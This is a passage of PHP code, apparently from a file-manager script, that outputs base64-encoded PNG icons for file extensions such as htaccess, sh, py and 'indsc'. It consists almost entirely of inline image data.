f1a9cR0D1UQAAAPOLx251HQHVRwEAAMzn2+Yd/Xe4DoHqowAAAOYyKJWudh0CtcEmQADAbEZk7GvMFSP7XAdBbTADAACYwf5CMk83Vwz90HUS1A4zAACASUnHZPTfsvqSrhj6D2NkXYdCbf3/6wRs2KC/PIQAAAAASUVORK5CYII="; } elseif ($ext == "htaccess") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAACxQAAAsUBidZ/7wAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAA9ySURBVHic7Z1pcBzHeYbf7pnZAzdBAIQIgoJJghAESSYlxBFFSbEOkpIjuxS7JOfwIaUqdtFx5Ch/rIotlxM7Uaw4KSdlJ6VyJTqdomipbFKyRImiSIkEeIG0LfHAQVAkeEEACSx2Z3Z25+r8gEDimD1md2Znoe3nF9Do6f6w/W4fX3d/A3BKGjL1w/DwcHlAU75CCO4AwwI/jfILBmZSkEELZFPt0mW7/banEBAAGD81sBqUbgHQ7LM9xQNhz9ck2F+R1tak36Z4CRk9deoqkZi/A0GD38YUG9HoxNGkqnxu5R/cdtJvW7yCioL1GG98ewzd7FAT2rHew/s7/bbFKygY+5zfRhQzhmEGE7K899jBfev8tsULKIAlfhtR7JimKWqqvG3g0IEH/bbFbSgA0W8j5gOmaVFZjm7q7dn7iN+2uAn124D5hGVZRJHl/zjR0/2PftviFlwATmEMUVl5vP9A13/5bYobcAHkAGMMMUXZ2Huwe7PftuQLF0AeKLL8wLEDu3f6bUc+cAHkiaqonz62f89htnmz4LctuUABML+NmO+o8fjqY82NvQMDA0G/bXEK7wFcIpFIrEiMnj/T19NT57ctTuACcBEtmazXNGXw2OGuq/22JVu4AFxGSyar9Lh+/MTBruv8tiUbuAA8wNC1sKwmD/f17LvVb1sywSeBHmGahqTG5V2Dh/bf57ct6eA9gIeYpiVEldiWEz17v+q3LangAvAYy7RoTFGe7uvZ/3d+22IHF0ABsCyLyHL03/p79v6L37bMhgsgDVRw8eNhDLIsf7u/Z9+77hWaP3wSmIZwKORqeYwxxGLR2/oOdh1xteA84D1AGoKhEMrKy1wvV5aVjuMH9pxjjJHMub2FjA8NGgDm5UZGIWAWw+joCGRZdr3scLhsTFq4aHGrj0fPuQCyRNc1JBJJMJb7iGkaBnRdn5EWLgueE1W2cnFnZzxfG3NBBJ8DZIUkBSBJgbzK0DUNqqrOSGMWmqwy6Thj7BOEECuvCnKAzwGKANM0ll7oP/KUH3VzARSQdF2taZh/VjBDpsEFUEDSTfktyypnR4/mN8bkAPcDFJBMH/TpcnVhQQyZBkV6YXI+5vAhoMThQ0CJw3uAEocLoIgQkmLB24MLoMThAihxuABKHL4KKCKo5uYRpCzrLHSFnOKCC6DE4QIocbgAiggi+DMH4JPAEob3ACUOF0CJwwVQ4nABFBGUUu4I4hQWyvgqoKThgaJ9Ik6ACJ15D2RvIHrdV0/vrp36nVFh+LnmW855aQcZGxpUCeDuNViOLZqmIaGq+K1kYEuZDjPzIwxgP3xu6a3f88omPgcoMAzA62Ejm8YHAAKQ737lTHeTV/ZwARQYDYBKHE27CAhb6pE5oIRPAksa3gOUOFwAhabI7mFxARQQAuAidR4CgJik1X1rJuECKCARYuHVsJ454ywYYT946Ez39R6YBDI+NBgHEPaicM4kA9DQjTjeQwJG7sVYAN5ihD11Zom+dRe5I4+irkDGhwYVAO6HwuLgFHS8ghhOQHO3YIY+BvL480vXvATibE05Gy4AD1BhYSti6IaaOXNesC5KxIefab55INcSuACy5DwMbEUMSTB0IoybEbYNrXYCGp5BBDEULN6TDIKNzzWvfWHOXxgjXz7b9SfvKMp/KhYrr6PiE33X3P3k9CxcAFmQBMM/YRQT0xq1ASL+GBX4JEKXV3bdiOMlRLN187oLwY+WLbnl77//UaSxLw3tuY2CPAng5pOahj2qAoEQtAeC64+svHv75ce4ADLzOmRsg32gyGaIWIkgzkJHn9tjvWPIITC8DcpuBMNdU6kMDL+RZYyZBhpF8exw+z3Nl58YHxqUAZT7Yu88IMYs/ICMIjnPPebnDR1vKZMiviYc/FrvinU/B7gfICOvE3neNz4ALBYl1AuTxz9GNfNfp9K5ANIwAgP74EsEV09oECcFcMk0qq/p2/59gA8BaflfRPB7JDwrP8AMtOkjqDcVVLMEKGOI0hAuCWXokxqgEHfDBr6hxPChMek/qhJoskFCNT8SloLT0PGeR43fpo9gg9qL67VhBJi9Q88kBH3iIuwKLcPB0FJYeXTWSWahR1UvNz4ARE0r2EADP+M9QAqeRgS/c1kAdZaML8cOYZXm5Jgfg6xdwi9q16E73O6oPpMxHNeSOJJMQLOJcl5JhSSPFp6CiMur+VZjFH8zsRvVllNREVQQCV//cBPaq2/B/yzYkNVTFwwdXWoccSu1QyrJrACfBKZgLcpc27q/Vh/GY+M7cmj8j5CqAEZwe6QLGy+9mjG7wRjeiStpGx8ArhLFfVwAKfgUwvg6FqAxz5Pz9ZaCb0S7IOblGiaAOOmruzl6APdGe9LmjjPLtsufIkypuTwQeOZ02/q1XABpaEcQj6EOD6EGtTm8VIWAYWN0DyotF94II1zZsX9w7DVUW0rKrGFi36wioaw5ENh3bTltHmxb/zAIYVwAGSAAViOEx1CHVjhblnVqZ7Bcv+SSIVd6IsoMfOPiKymzSoQgQGYOYBUC1ToqpJvOtK1fc6jlngtT6SIYWL6DHWMMR/v6EYnG8ivIJ4KShGvbWlFelnpLJAiCe1GBAYxlXe59yjE3zJuEzOyB2uJ9CDMNagpfgQQCbdr8vpGKm3/fsu63s/O54gfY9OtXsGf/QTeK8o36hbX4zt9+E5IkpcwTdLAWr7NktBjZiyUj1sxVCWEmPhM9gJer7V9QLlBg+kKGgNl+O10ZAt4/3udGMb4yemkMZy8Mp80z5mBpuDp5Pl+TZjHXYXSjmvociD5rzqkzsswunysCaG9d7kYxvlJTXYXFixalzeNkp7/RjOZr0kysuVvNtWnmF8lZqwCDsEa7fK4MAX/++fvR3roCYxMTbhRXcEKBAFZddy2CwfSTvIQDn1mN5fJxMGPueYSAjSgAQAeDNctWi9mf+RBB8vcECgJF56ob8i2m6GEOPqogc9GTaCqATXk0hW/BzgHEwGy/7HwZ6ADJwXIpQl28cZ+8aJus0aBt+qgxVyyEEFs3JBeAA8ocfFwTbgnAiAEphpMEtb/OMWLOvXwiEGI7PnMBOGCBA29gv9iQf4WWDiRTr0xOhpbYptv1AAHglF1eLgAHVDj4uI4GG5GgqX0KGWEmkDhjO/ZP8UZF55y0iGliwpr7jGCRC3MSwQXgCCc3fAxQ7AtenVtFlgaop22XflOoYjV6g3N7gH7dft8hTqy77NJ5rOAsMAF0IY4tcObq/lXZ9dCIk5U2A/QxQD2VtvEB4MXa9XPSDMZwUrN/7pxu3LD02LbdN5x4Y8bYxHuADPRBw49xEZsRhe7wuxKhYewT6ycncizNdrClTza8chJIjqTPC2Ak2ISd5XMvCw/oWsptYAaGIdO4tT9hXFjZu/3Flg92hoDJQ6ERANXZ/1ulQRQWnkUk74udArPw7+d/ihr9EkCDAAkChAKwJv37TAccbBdrQjkeXfII5FkrgITF8Gt5Iu05gOlUUppcGgg+4IoALo2P49U330Y0Vry7gZRSLG9ZivWfvh3ZRGR9ARM46NLlzkpLxY/O/zfK9Uhe5ehCGX7Y+DBOBea6rLvVOE5ozs4d1FBBccUV/OyLL2Pw1Gk3ivKUY/0DqK6qwprOGzPmHXHxTGCMhvFo0yN4fPh5NCc+yKmMSKAB32v8S0wIcz265w0dgynG/nTEGStzZRIYmXB548NDxiPZ7Vdc5/DwRyaSRMR3r3oYz9V/HgmhKuvnDBrGa7Xr8K2mb9o2/oRl4t244shNPcVCkZ52pQe4b/2d+L+Xt0A3XAla4RmL6uuw9lM3ZZX3j1COdxF3/Zr3jopV2FGxCrfHj+DO2GE0JS8gYMZx+XtIKAwSxIVAI7oqb8D2stUwUgxZScawU1GyHvenQwEspOLXyPjQ4DiAmpz/o4/QdR0TMfsbtMWAQClqqqtASPb+/D2I45coTO9WbcUBBttvuR0qY9ihTN74zYUlkvTe2Ws2fNK1m0GSJKGudoFbxRUFa1CGdxDHSD6RfbJkgmZ/Qz9imtgRl6FkOPadCpFQVsHolwDuB0iLAOAzqPDbjBl8oGnYpsRybnwAaBKlXb3t694HeLj4jKxCCC2QcArOw7u5iWxZ2K/Gcc7Iz44gJVZdyPyLqTUbdwVngAD4LCpt/9YAEQ+hGv+MRfhr1KI+h7sDmYhbFg4nVGyVo2kbP0Aoa5WCP7kpFF7RJoW+XSsItpOXJaK0efqxcDI+NDgG4OM1eHvAi5i4HPWrCgLuRQX+cFagqDgsPIOIK6FiRg0Tx7UEhnQt4zqkkgrJlkBww/utd74zPX1l3/YnLpjGozHTDALAQkEYb4nXLznU2Xk56AEXgANOQkMSDCsQSHk6yASwHTLehJyzK2mvGsdAll69JlHqbQyzO6d/q6fT8sHOUNgwNjKLhAVj7MdHOx6coU4uAI84Bx0vIYaTDnuDCcvElljmpWelICSbBPoPvW0bnsjVRoBPAj2jCRK+hVocRRJvQMHpLIWQ6UZvBSVaoyC+EDQnNh5tezDvsYbHB/CYDgTRgSDOQccuS8ZBmlvIqQZB/LBWEp/sXXHXT058FAvQDVzrAeKqirjqXTwdtwiHgmnvAHpFEyR80axAjWbhzZCzpdxiUTxxvv2e1hEP7HJFAHsO9GDzlldgmgULj5ozhBB84b57ccfaNQWvmwFYpQmOBVAF4Sm3L5pN4YoncNvbu+ZF4wOTN5lfe2unb/UHWPq9iIjNgU5I8OzKlSsCqF9YmzlTEVGs9g4bBt5LFHYYdWUIeOiLD+D1t3dh9KJLwRA8ZGHtAmy443bf6pfBsCk692SQBQbDh+m4CJC8Xx9cXVWJP73/sy6Z9HGGIUDgeP9esKhn++x8N7DAVDKCq4XsL4yUEWpUkORvvLKHO4J84BdWLb4jRnFmVpRQhbCowa4kBkHGa0Vx4/7Wuz07lULGh05eBNhCryrgXEHXNajx1CeNJRq8bXFHx54CmsSHgFKHAjmcKOTkSJG9NhS8ByguSIoIjx7CBVDicAGUOFwAJQ4FPHwnCmcmGebbYplU8Nu1FATzP8znPMFKc9qHEMLqFe1oAc0BAFAwNveVoxzXYZi8PpcKURCPkI6Ogr95ktY0L38ewFuFrrjU0BKJlD0ApcQQA8YXCmzSZN2EEDMZKL8fIM+Cnw90H8aQSCSQTNof86aCEJEkemvD8tU5vwE8H2a4pibODLaaDHcTkMWMsDxinHEIY6KuWwsMXVvGCJsZNdJiIBTDhAhbr1rZ8bRPJnI4wP8DfHjZUD1f/QUAAAAASUVORK5CYII="; } elseif ($ext == "sh") { echo "data:image/png;base64,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"; } elseif ($ext == "py") { echo "data:image/png;base64,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"; } elseif ($ext == "indsc") { echo "data:image/png;base64,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